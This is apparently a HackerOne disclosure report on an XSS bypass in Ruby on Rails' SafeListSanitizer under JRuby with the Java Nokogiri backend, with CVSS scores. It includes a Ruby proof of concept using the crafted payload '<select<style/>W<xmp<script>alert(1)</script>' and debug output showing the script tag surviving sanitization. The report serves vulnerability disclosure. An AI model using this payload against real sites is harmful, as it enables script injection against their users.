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hackeroneWindshockH1:1530898
HistoryApr 05, 2022 - 7:34 a.m.

Ruby on Rails: Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

2022-04-0507:34:03
windshock
hackerone.com
15

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.0005 Low

EPSS

Percentile

14.4%

It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.
It seems to be an ambiguous case as to whether to do it with nokogiri or have rails-html-sanitizer defend it.

jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag
code

tags = %w(select style)
puts "------------------------------------------------------------------"
puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag"
puts "input: <select<style/>W<xmp<script>alert(1)</script>"
puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<script>alert(1)</script>", tags: tags).to_s
puts "------------------------------------------------------------------"

result

input: <select<style/>W<xmp<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :<script>alert(1)</script>
scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp><script>alert(1)</script></xmp>
scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<script>alert(1)</script></style>
scrub --> node type :Nokogiri::XML::Element, node name :select, node to_s :<select><style>W<script>alert(1)</script></style></select>
output: <select><style>W<script>alert(1)</script></style></select>

Impact

It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.0005 Low

EPSS

Percentile

14.4%